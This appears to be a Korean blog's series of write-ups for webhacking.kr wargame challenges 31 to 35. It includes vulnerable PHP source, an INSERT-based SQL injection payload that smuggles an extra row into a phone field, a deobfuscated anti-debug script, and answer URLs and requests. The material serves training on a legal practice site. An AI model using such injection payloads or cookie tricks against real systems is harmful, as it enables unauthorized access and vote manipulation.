<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:200px>
<input name=id type=hidden value=guest>
<input type=submit value='add'>
</form>
<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
  if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
  if(strlen($_GET['id']) > 5) exit("no hack");
  if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
  mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
  echo "Done<br>";
}

$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
  solve(35);
  mysqli_query($db,"delete from chall35");
}

$phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'");
echo "<!--\n";
while($r = mysqli_fetch_array($phone_list)){
  echo htmlentities($r['id'])." - ".$r['phone']."\n";
}
echo "-->\n";
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>


위의 문제에서 INSERT 구문에서 id에는 값을 넣을 수 없어 보였습니다.

길이가 5글자 이하로 진행되기 때문입니다.


그렇다면 여기서 GET 으로 넘겨주는 phone에 INSERT를 이용한 SQLi를 수행해야 합니다.


Attack Query : 01012345678),('guest','님.의.ip.값',01012345555

위와 같은 값을 넣으면 쿼리가 성공적으로 수행된 것을 확인할 수 있습니다.


위의 값에서 admin으로만 바꿔주면 문제가 풀리게 됩니다.



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31

문제를 들어가면 debug me가 나옵니다.

시작부터 alert 메시지가 뜨니 신이 납니다....


js-7인 걸로 보아 소스코드 보기를 해보도록 합시다.


문제 파일 이쁘게 만들기 전~

<html>
<head>
<title>Challenge 34</title>
<script>
var a=['RcOhTDV1Ew==','McOVwqpRBg==','c8K/w43DvcK8','SsOrTCF1CVDCgcKLEsKc','NsK/w4Bc','G1TDpwk=','AcKtwqfDlW7Dsw==','e3kkcQJfwoNFDEU9','QMOXDBo=','w5bCsWlh','eWY6bg8=','FnbDoEvDtl1LUkB7w4Q=','esOZTiPDsg==','bzfCkFfCtA==','ZmzDjHcn','PxLCm3LDvA==','IcKlVy9pw57DgMK3w6kmwpvCiUnDhcOKw4A=','LMKnwqECawEeEMOZQsK7wrLCscKpSG1AwqvDvjnDpMKhOSDCqQfDmVRowo1nwpzCh8OGc1vDv3cKVR/CgMK4w7PCukbCv8O8woNHXcK7SsOmMhHDnUEJw4lsw6g=','wrTDnltl','UMOXHRs=','Tz0lw48=','O8K0w5JcwrA=','w5DCpnx/LA==','HsKrS8KVQw==','dcKvfnkhUQ3DncOFIsOew5lHwr7CjcKYAsOuwrc3UjhfwopNwqwuWcOjw4PDrkIRWAfCnSIdw5jDtsKyWFBMwq4YMQvDhRrCrlBlw71LUR5HGMKwEBs=','w4RAw5xg','RkQSNA==','SsOsQztv','wonDvMOwwow=','wovDlMKvw5nCog==','w73Ch8K5VcK/','wpN7HsOMwpI=','w5/CuMKDacOKPcKoB3jDomQ=','wpnDvMOhwo0=','wp4xwrvDvA==','H1LDrhc=','wo86woHDm37Dow==','woY4wobDmg==','wr/CgMKQNcOo','ecOlUSF2S3fCsMKbGQ==','E3nCrcKe','w5d5w6HDnsOFw7RcRFjDosKsZ8OHEcOv','QMOXDBrCrcKLwp3DvA==','w5fDsiPDrsOf','V3c3A0Q=','E8OjwpNaP1lDTMKXcsO5','G08JPDZMw5s8w4ITw54dEMKAwps=','wo8pwoXDnmg=','wpo5wqvDoMOQw6Jd','bH4+TyM='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};var g=function(){var h={'data':{'key':'cookie','value':'timeout'},'setCookie':function(i,j,k,l){l=l||{};var m=j+'='+k;var n=0x0;for(var n=0x0,p=i['length'];n<p;n++){var q=i[n];m+=';\x20'+q;var r=i[q];i['push'](r);p=i['length'];if(r!==!![]){m+='='+r;}}l['cookie']=m;},'removeCookie':function(){return'dev';},'getCookie':function(s,t){s=s||function(u){return u;};var v=s(new RegExp('(?:^|;\x20)'+t['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var w=function(x,y){x(++y);};w(e,d);return v?decodeURIComponent(v[0x1]):undefined;}};var z=function(){var A=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return A['test'](h['removeCookie']['toString']());};h['updateCookie']=z;var B='';var C=h['updateCookie']();if(!C){h['setCookie'](['*'],'counter',0x1);}else if(C){B=h['getCookie'](null,'counter');}else{h['removeCookie']();}};g();}(a,0xa2));var b=function(c,d){c=c-0x0;var e=a[c];if(b['clOwyu']===undefined){(function(){var f=function(){var g;try{g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(h){g=window;}return g;};var i=f();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');for(var m=0x0,n,o,p=0x0,q='';o=l['charAt'](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String['fromCharCode'](0xff&n>>(-0x2*m&0x6)):0x0){o=j['indexOf'](o);}return q;});}());var r=function(s,d){var u=[],v=0x0,w,x='',y='';s=atob(s);for(var z=0x0,A=s['length'];z<A;z++){y+='%'+('00'+s['charCodeAt'](z)['toString'](0x10))['slice'](-0x2);}s=decodeURIComponent(y);for(var B=0x0;B<0x100;B++){u[B]=B;}for(B=0x0;B<0x100;B++){v=(v+u[B]+d['charCodeAt'](B%d['length']))%0x100;w=u[B];u[B]=u[v];u[v]=w;}B=0x0;v=0x0;for(var C=0x0;C<s['length'];C++){B=(B+0x1)%0x100;v=(v+u[B])%0x100;w=u[B];u[B]=u[v];u[v]=w;x+=String['fromCharCode'](s['charCodeAt'](C)^u[(u[B]+u[v])%0x100]);}return x;};b['wxbdQn']=r;b['ZjQald']={};b['clOwyu']=!![];}var D=b['ZjQald'][c];if(D===undefined){if(b['XvSLaK']===undefined){var E=function(F){this['swkpev']=F;this['DGOTpS']=[0x1,0x0,0x0];this['zlbdZJ']=function(){return'newState';};this['KCuPKs']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['AnZPoE']='[\x27|\x22].+[\x27|\x22];?\x20*}';};E['prototype']['DCDTIR']=function(){var G=new RegExp(this['KCuPKs']+this['AnZPoE']);var H=G['test'](this['zlbdZJ']['toString']())?--this['DGOTpS'][0x1]:--this['DGOTpS'][0x0];return this['ZjMdYn'](H);};E['prototype']['ZjMdYn']=function(I){if(!Boolean(~I)){return I;}return this['LqSTke'](this['swkpev']);};E['prototype']['LqSTke']=function(J){for(var K=0x0,L=this['DGOTpS']['length'];K<L;K++){this['DGOTpS']['push'](Math['round'](Math['random']()));L=this['DGOTpS']['length'];}return J(this['DGOTpS'][0x0]);};new E(b)['DCDTIR']();b['XvSLaK']=!![];}e=b['wxbdQn'](e,d);b['ZjQald'][c]=e;}else{e=D;}return e;};var e=function(){var c=!![];return function(d,e){var f=c?function(){if(e){var g=e['apply'](d,arguments);e=null;return g;}}:function(){};c=![];return f;};}();var Q=e(this,function(){var c=function(){return'\x64\x65\x76';},d=function(){return'\x77\x69\x6e\x64\x6f\x77';};var e=function(){var f=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var g=function(){var h=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var i=function(j){var k=~-0x1>>0x1+0xff%0x0;if(j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===k)){l(j);}};var l=function(m){var n=~-0x4>>0x1+0xff%0x0;if(m['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==n){i(m);}};if(!e()){if(!g()){i('\x69\x6e\x64\u0435\x78\x4f\x66');}else{i('\x69\x6e\x64\x65\x78\x4f\x66');}}else{i('\x69\x6e\x64\u0435\x78\x4f\x66');}});Q();var q=function(){var r=!![];return function(s,t){var u=r?function(){if(b('0x0','hezG')!==b('0x1','A6hd')){if(t){if(b('0x2','G(vo')===b('0x3','K*$C')){q(this,function(){var j=new RegExp(b('0x4','$VvG'));var k=new RegExp(b('0x5','2@LG'),'i');var l=H(b('0x6','k(C)'));if(!j[b('0x7','14cN')](l+'chain')||!k[b('0x8','aEot')](l+b('0x9','ln]I'))){l('0');}else{H();}})();}else{var z=t[b('0xa','$ybZ')](s,arguments);t=null;return z;}}}else{var f=r?function(){if(t){var g=t[b('0xb','C%Xw')](s,arguments);t=null;return g;}}:function(){};r=![];return f;}}:function(){};r=![];return u;};}();(function(){q(this,function(){var D=new RegExp('function\x20*\x5c(\x20*\x5c)');var E=new RegExp(b('0xc','RLUb'),'i');var F=H(b('0xd','iWKi'));if(!D[b('0xe','ho]6')](F+b('0xf','RLUb'))||!E[b('0x10','X!$R')](F+b('0x11','RUTX'))){if(b('0x12','J[i1')===b('0x13','Pa4(')){F('0');}else{(function(){return!![];}[b('0x14','kK4Z')](b('0x15','X!$R')+b('0x16','llaF'))[b('0x17','3R^0')](b('0x18','iUmC')));}}else{H();}})();}());setInterval(function(){H();},0xfa0);if(location[b('0x19','iUmC')][b('0x1a','6]r1')](0x1)==b('0x1b','RLUb'))location[b('0x1c','4c%d')]=b('0x1d','llaF');else alert(b('0x1e','14cN'));function H(I){function J(K){if(b('0x1f','oYXf')!==b('0x20','ho]6')){return J;}else{if(typeof K==='string'){return function(M){}[b('0x21','2@LG')](b('0x22','joDm'))[b('0x23','iUmC')](b('0x24','llaF'));}else{if('thtMU'===b('0x25','Am%6')){if((''+K/K)[b('0x26','RLUb')]!==0x1||K%0x14===0x0){if(b('0x27','2@LG')!==b('0x28','bO4C')){return!![];}else{(function(){return!![];}[b('0x29','RLUb')](b('0x2a','ln]I')+b('0x2b','3R^0'))['call'](b('0x2c','c3hQ')));}}else{(function(){return![];}[b('0x2d','Am%6')](b('0x2e','14cN')+b('0x2f','$ybZ'))[b('0x30','Am%6')](b('0x31','O!T!')));}}else{H();}}J(++K);}}try{if(I){return J;}else{J(0x0);}}catch(P){}}
</script>
</head>
<body bgcolor="black">



문제 파일 이쁘게 만들기 후~

<html>
<head>
<title>Challenge 34</title>
<script>
var a = ['RcOhTDV1Ew==', 'McOVwqpRBg==', 'c8K/w43DvcK8', 'SsOrTCF1CVDCgcKLEsKc', 'NsK/w4Bc', 'G1TDpwk=', 'AcKtwqfDlW7Dsw==', 'e3kkcQJfwoNFDEU9', 'QMOXDBo=', 'w5bCsWlh', 'eWY6bg8=', 'FnbDoEvDtl1LUkB7w4Q=', 'esOZTiPDsg==', 'bzfCkFfCtA==', 'ZmzDjHcn', 'PxLCm3LDvA==', 'IcKlVy9pw57DgMK3w6kmwpvCiUnDhcOKw4A=', 'LMKnwqECawEeEMOZQsK7wrLCscKpSG1AwqvDvjnDpMKhOSDCqQfDmVRowo1nwpzCh8OGc1vDv3cKVR/CgMK4w7PCukbCv8O8woNHXcK7SsOmMhHDnUEJw4lsw6g=', 'wrTDnltl', 'UMOXHRs=', 'Tz0lw48=', 'O8K0w5JcwrA=', 'w5DCpnx/LA==', 'HsKrS8KVQw==', 'dcKvfnkhUQ3DncOFIsOew5lHwr7CjcKYAsOuwrc3UjhfwopNwqwuWcOjw4PDrkIRWAfCnSIdw5jDtsKyWFBMwq4YMQvDhRrCrlBlw71LUR5HGMKwEBs=', 'w4RAw5xg', 'RkQSNA==', 'SsOsQztv', 'wonDvMOwwow=', 'wovDlMKvw5nCog==', 'w73Ch8K5VcK/', 'wpN7HsOMwpI=', 'w5/CuMKDacOKPcKoB3jDomQ=', 'wpnDvMOhwo0=', 'wp4xwrvDvA==', 'H1LDrhc=', 'wo86woHDm37Dow==', 'woY4wobDmg==', 'wr/CgMKQNcOo', 'ecOlUSF2S3fCsMKbGQ==', 'E3nCrcKe', 'w5d5w6HDnsOFw7RcRFjDosKsZ8OHEcOv', 'QMOXDBrCrcKLwp3DvA==', 'w5fDsiPDrsOf', 'V3c3A0Q=', 'E8OjwpNaP1lDTMKXcsO5', 'G08JPDZMw5s8w4ITw54dEMKAwps=', 'wo8pwoXDnmg=', 'wpo5wqvDoMOQw6Jd', 'bH4+TyM='];
(function(c, d) {
    var e = function(f) {
        while (--f) {
            c['push'](c['shift']());
        }
    };
    var g = function() {
        var h = {
            'data': {
                'key': 'cookie',
                'value': 'timeout'
            },
            'setCookie': function(i, j, k, l) {
                l = l || {};
                var m = j + '=' + k;
                var n = 0x0;
                for (var n = 0x0, p = i['length']; n < p; n++) {
                    var q = i[n];
                    m += ';\x20' + q;
                    var r = i[q];
                    i['push'](r);
                    p = i['length'];
                    if (r !== !![]) {
                        m += '=' + r;
                    }
                }
                l['cookie'] = m;
            },
            'removeCookie': function() {
                return 'dev';
            },
            'getCookie': function(s, t) {
                s = s || function(u) {
                    return u;
                };
                var v = s(new RegExp('(?:^|;\x20)' + t['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
                var w = function(x, y) {
                    x(++y);
                };
                w(e, d);
                return v ? decodeURIComponent(v[0x1]) : undefined;
            }
        };
        var z = function() {
            var A = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
            return A['test'](h['removeCookie']['toString']());
        };
        h['updateCookie'] = z;
        var B = '';
        var C = h['updateCookie']();
        if (!C) {
            h['setCookie'](['*'], 'counter', 0x1);
        } else if (C) {
            B = h['getCookie'](null, 'counter');
        } else {
            h['removeCookie']();
        }
    };
    g();
}(a, 0xa2));
var b = function(c, d) {
    c = c - 0x0;
    var e = a[c];
    if (b['clOwyu'] === undefined) {
        (function() {
            var f = function() {
                var g;
                try {
                    g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
                } catch (h) {
                    g = window;
                }
                return g;
            };
            var i = f();
            var j = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
            i['atob'] || (i['atob'] = function(k) {
                var l = String(k)['replace'](/=+$/, '');
                for (var m = 0x0, n, o, p = 0x0, q = ''; o = l['charAt'](p++); ~o && (n = m % 0x4 ? n * 0x40 + o : o, m++ % 0x4) ? q += String['fromCharCode'](0xff & n >> (-0x2 * m & 0x6)) : 0x0) {
                    o = j['indexOf'](o);
                }
                return q;
            });
        }());
        var r = function(s, d) {
            var u = [],
                v = 0x0,
                w, x = '',
                y = '';
            s = atob(s);
            for (var z = 0x0, A = s['length']; z < A; z++) {
                y += '%' + ('00' + s['charCodeAt'](z)['toString'](0x10))['slice'](-0x2);
            }
            s = decodeURIComponent(y);
            for (var B = 0x0; B < 0x100; B++) {
                u[B] = B;
            }
            for (B = 0x0; B < 0x100; B++) {
                v = (v + u[B] + d['charCodeAt'](B % d['length'])) % 0x100;
                w = u[B];
                u[B] = u[v];
                u[v] = w;
            }
            B = 0x0;
            v = 0x0;
            for (var C = 0x0; C < s['length']; C++) {
                B = (B + 0x1) % 0x100;
                v = (v + u[B]) % 0x100;
                w = u[B];
                u[B] = u[v];
                u[v] = w;
                x += String['fromCharCode'](s['charCodeAt'](C) ^ u[(u[B] + u[v]) % 0x100]);
            }
            return x;
        };
        b['wxbdQn'] = r;
        b['ZjQald'] = {};
        b['clOwyu'] = !![];
    }
    var D = b['ZjQald'][c];
    if (D === undefined) {
        if (b['XvSLaK'] === undefined) {
            var E = function(F) {
                this['swkpev'] = F;
                this['DGOTpS'] = [0x1, 0x0, 0x0];
                this['zlbdZJ'] = function() {
                    return 'newState';
                };
                this['KCuPKs'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
                this['AnZPoE'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
            };
            E['prototype']['DCDTIR'] = function() {
                var G = new RegExp(this['KCuPKs'] + this['AnZPoE']);
                var H = G['test'](this['zlbdZJ']['toString']()) ? --this['DGOTpS'][0x1] : --this['DGOTpS'][0x0];
                return this['ZjMdYn'](H);
            };
            E['prototype']['ZjMdYn'] = function(I) {
                if (!Boolean(~I)) {
                    return I;
                }
                return this['LqSTke'](this['swkpev']);
            };
            E['prototype']['LqSTke'] = function(J) {
                for (var K = 0x0, L = this['DGOTpS']['length']; K < L; K++) {
                    this['DGOTpS']['push'](Math['round'](Math['random']()));
                    L = this['DGOTpS']['length'];
                }
                return J(this['DGOTpS'][0x0]);
            };
            new E(b)['DCDTIR']();
            b['XvSLaK'] = !![];
        }
        e = b['wxbdQn'](e, d);
        b['ZjQald'][c] = e;
    } else {
        e = D;
    }
    return e;
};
var e = function() {
    var c = !![];
    return function(d, e) {
        var f = c ? function() {
            if (e) {
                var g = e['apply'](d, arguments);
                e = null;
                return g;
            }
        } : function() {};
        c = ![];
        return f;
    };
}();
var Q = e(this, function() {
    var c = function() {
            return '\x64\x65\x76';
        },
        d = function() {
            return '\x77\x69\x6e\x64\x6f\x77';
        };
    var e = function() {
        var f = new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');
        return !f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
    };
    var g = function() {
        var h = new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');
        return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
    };
    var i = function(j) {
        var k = ~-0x1 >> 0x1 + 0xff % 0x0;
        if (j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69' === k)) {
            l(j);
        }
    };
    var l = function(m) {
        var n = ~-0x4 >> 0x1 + 0xff % 0x0;
        if (m['\x69\x6e\x64\x65\x78\x4f\x66']((!![] + '')[0x3]) !== n) {
            i(m);
        }
    };
    if (!e()) {
        if (!g()) {
            i('\x69\x6e\x64\u0435\x78\x4f\x66');
        } else {
            i('\x69\x6e\x64\x65\x78\x4f\x66');
        }
    } else {
        i('\x69\x6e\x64\u0435\x78\x4f\x66');
    }
});
Q();
var q = function() {
    var r = !![];
    return function(s, t) {
        var u = r ? function() {
            if (b('0x0', 'hezG') !== b('0x1', 'A6hd')) {
                if (t) {
                    if (b('0x2', 'G(vo') === b('0x3', 'K*$C')) {
                        q(this, function() {
                            var j = new RegExp(b('0x4', '$VvG'));
                            var k = new RegExp(b('0x5', '2@LG'), 'i');
                            var l = H(b('0x6', 'k(C)'));
                            if (!j[b('0x7', '14cN')](l + 'chain') || !k[b('0x8', 'aEot')](l + b('0x9', 'ln]I'))) {
                                l('0');
                            } else {
                                H();
                            }
                        })();
                    } else {
                        var z = t[b('0xa', '$ybZ')](s, arguments);
                        t = null;
                        return z;
                    }
                }
            } else {
                var f = r ? function() {
                    if (t) {
                        var g = t[b('0xb', 'C%Xw')](s, arguments);
                        t = null;
                        return g;
                    }
                } : function() {};
                r = ![];
                return f;
            }
        } : function() {};
        r = ![];
        return u;
    };
}();
(function() {
    q(this, function() {
        var D = new RegExp('function\x20*\x5c(\x20*\x5c)');
        var E = new RegExp(b('0xc', 'RLUb'), 'i');
        var F = H(b('0xd', 'iWKi'));
        if (!D[b('0xe', 'ho]6')](F + b('0xf', 'RLUb')) || !E[b('0x10', 'X!$R')](F + b('0x11', 'RUTX'))) {
            if (b('0x12', 'J[i1') === b('0x13', 'Pa4(')) {
                F('0');
            } else {
                (function() {
                    return !![];
                } [b('0x14', 'kK4Z')](b('0x15', 'X!$R') + b('0x16', 'llaF'))[b('0x17', '3R^0')](b('0x18', 'iUmC')));
            }
        } else {
            H();
        }
    })();
}());
setInterval(function() {
    H();
}, 0xfa0);
if (location[b('0x19', 'iUmC')][b('0x1a', '6]r1')](0x1) == b('0x1b', 'RLUb')) location[b('0x1c', '4c%d')] = b('0x1d', 'llaF');
else alert(b('0x1e', '14cN'));

function H(I) {
    function J(K) {
        if (b('0x1f', 'oYXf') !== b('0x20', 'ho]6')) {
            return J;
        } else {
            if (typeof K === 'string') {
                return function(M) {} [b('0x21', '2@LG')](b('0x22', 'joDm'))[b('0x23', 'iUmC')](b('0x24', 'llaF'));
            } else {
                if ('thtMU' === b('0x25', 'Am%6')) {
                    if (('' + K / K)[b('0x26', 'RLUb')] !== 0x1 || K % 0x14 === 0x0) {
                        if (b('0x27', '2@LG') !== b('0x28', 'bO4C')) {
                            return !![];
                        } else {
                            (function() {
                                return !![];
                            } [b('0x29', 'RLUb')](b('0x2a', 'ln]I') + b('0x2b', '3R^0'))['call'](b('0x2c', 'c3hQ')));
                        }
                    } else {
                        (function() {
                            return ![];
                        } [b('0x2d', 'Am%6')](b('0x2e', '14cN') + b('0x2f', '$ybZ'))[b('0x30', 'Am%6')](b('0x31', 'O!T!')));
                    }
                } else {
                    H();
                }
            }
            J(++K);
        }
    }
    try {
        if (I) {
            return J;
        } else {
            J(0x0);
        }
    } catch (P) {}
}
</script>
</head>
<body bgcolor="black">


위의 코드에서 절망을 느끼시면 안 됩니다.


차근차근 합시다.


일단, 처음에 debug me 라고 alert 함수가 띄워졌던 것을 눈치채셨을 것입니다.

그렇다면, alert() 함수가 있는 곳을 먼저 찾아보도록 합시다.


아래와 같이 한 군데 밖에 찾질 못했습니다.


setInterval(function() {
    H();
}, 0xfa0);
if (location[b('0x19', 'iUmC')][b('0x1a', '6]r1')](0x1) == b('0x1b', 'RLUb')) location[b('0x1c', '4c%d')] = b('0x1d', 'llaF');
else alert(b('0x1e', '14cN'));


흠.... 값을 조작하기 위한 조건이 어떤 건지 잘 이해가 안 갑니다.

대략적으로 분석해보니, if문일 때는 alert가 없습니다.


그러면 일반적일 때는 if문 내부가 동작하지 않고, else가 동작하는 것으로 보입니다.

그렇다면 else 부분이 debug me를 출력하는 alert 구문이라고 했을 때, if문에서 가지고 있는 b('0x1d', 'llaF') 이녀석은 무엇일지 살펴보았습니다.


호오?


풀이 끝




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31

솔직히 문제 분석하는 것보다 답을 써놓는 게 나을 거 같습니다....



[ 문제 1 ]

https://webhacking.kr/challenge/bonus-6/?get=hehe




[ 문제 2 ]

POST https://webhacking.kr/challenge/bonus-6/lv2.php HTTP/1.1

Host: webhacking.kr

Connection: keep-alive

Upgrade-Insecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36

Sec-Fetch-User: ?1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Referer: https://webhacking.kr/challenge/bonus-6/?get=hehe

Accept-Encoding: gzip, deflate, br

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,lt;q=0.6

Cookie: PHPSESSID=****

Content-type: application/x-www-form-urlencoded

Content-Length: 21


post=hehe&post2=hehe2




[ 문제 3 ]

https://webhacking.kr/challenge/bonus-6/33.php?myip=내 아이피





[ 문제 4 ]

https://webhacking.kr/challenge/bonus-6/l4.php?password=[MD5 해쉬값]


#!/bin/python3

import hashlib

hashlib.md5('hint에 나오는 시간보다 조금 앞'.encode()).hexdigest()


이후 새로고침




[ 문제 5 ]

POST https://webhacking.kr/challenge/bonus-6/md555.php?imget=1 HTTP/1.1

Host: webhacking.kr

Connection: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Sec-Fetch-Site: none

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9,ko;q=0.8

Content-type: application/x-www-form-urlencoded

Content-Length: 8

Cookie: PHPSESSID=***; imcookie=1;


impost=1




[ 문제 6 ]

POST https://webhacking.kr/challenge/bonus-6/gpcc.php HTTP/1.1

Host: webhacking.kr

Connection: keep-alive

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Sec-Fetch-Site: same-origin

Referer: https://webhacking.kr/challenge/bonus-6/md555.php?imget=1

Content-type: application/x-www-form-urlencoded

Content-Length: 35

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9,ko;q=0.8

Cookie: PHPSESSID=****; test=[자신의 IP 값의 md5 Hash];


kk=[자신의 접속해서 나온 HTTP_USER_AGENT 값의 md5 Hash]





[ 문제 7 ]

자신의 아이피가 www.xxx.yyy.zzz이면

https://webhacking.kr/challenge/bonus-6/wtff.php?wwwwxxxxyyyyzzzz=wwwwxxxxyyyyzzzz





[ 문제 8 ]

https://webhacking.kr/challenge/bonus-6/ipt.php?addr=127.0.0.1




[ 문제 9 ]

#!/bin/python3

t = ""

for i in range(13):

t += chr(97+(i*2))

print(t)


https://webhacking.kr/challenge/bonus-6/nextt.php?ans=acegikmoqsuwy




[ 문제 10 ]

phptester.net 에서 아래의 코드르 넣고 돌려보면 답이 나옴


<?php

$ip = '210.217.38.14';

for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);

$ip=str_replace(".","",$ip);

$ip=substr($ip,0,10);

$answer = $ip*2;

$answer = $ip/2;

$answer = str_replace(".","",$answer);

echo $ip;

echo "</br>";

echo $answer;


https://webhacking.kr/challenge/bonus-6/answerip/27577553775_5515510755.php

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No32(150) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31


위와 같은 문제가 나타나게 되는데, 위의 정보에서는 계정 정보가 나타나게 됩니다.

여기서 자신의 계정도 찾을 수 있습니다.



만약 특정 계정을 클릭하게 되면 GET 메소드로 ?hit=계정아이디 라는 값이 전송되고,

Cookie 값에는 vote_check=ok;가 찍히게 됩니다.

vote_check=ok;가 찍히게 되면, 다시 한 번 투표를 할 수 없습니다.


이러한 특징을 이용하여 투표를 100번 하게 되면 플래그를 얻을 수 있습니다.


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No36(200) - old  (0) 2020.01.06
Webhacking.kr_No35(350) - old  (0) 2020.01.06
Webhacking.kr_No34(400) - old  (0) 2019.12.31
Webhacking.kr_No33(200) - old  (0) 2019.12.31
Webhacking.kr_No31(150) - old  (0) 2019.12.31
Webhacking.kr_No30(550) - old  (0) 2019.12.31
Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15


문제로 들어가면 자신의 아이피(WAN)와 10000~10100 사이의 랜덤 포트로 전송했다는 정보가 나옵니다.

여기서 Connection timed out 에러가 나면서 접속이 불가능하다고 나옵니다.


해당 문제 역시 공인아이피로 접속할 수 있는 자신의 서버가 있어야 풀 수 있습니다.


아래와 같이 10000 ~ 10100 사이의 포트가 계속 랜덤으로 변경하여 GET 메소드로 보낸 아이피로 값을 전송합니다.


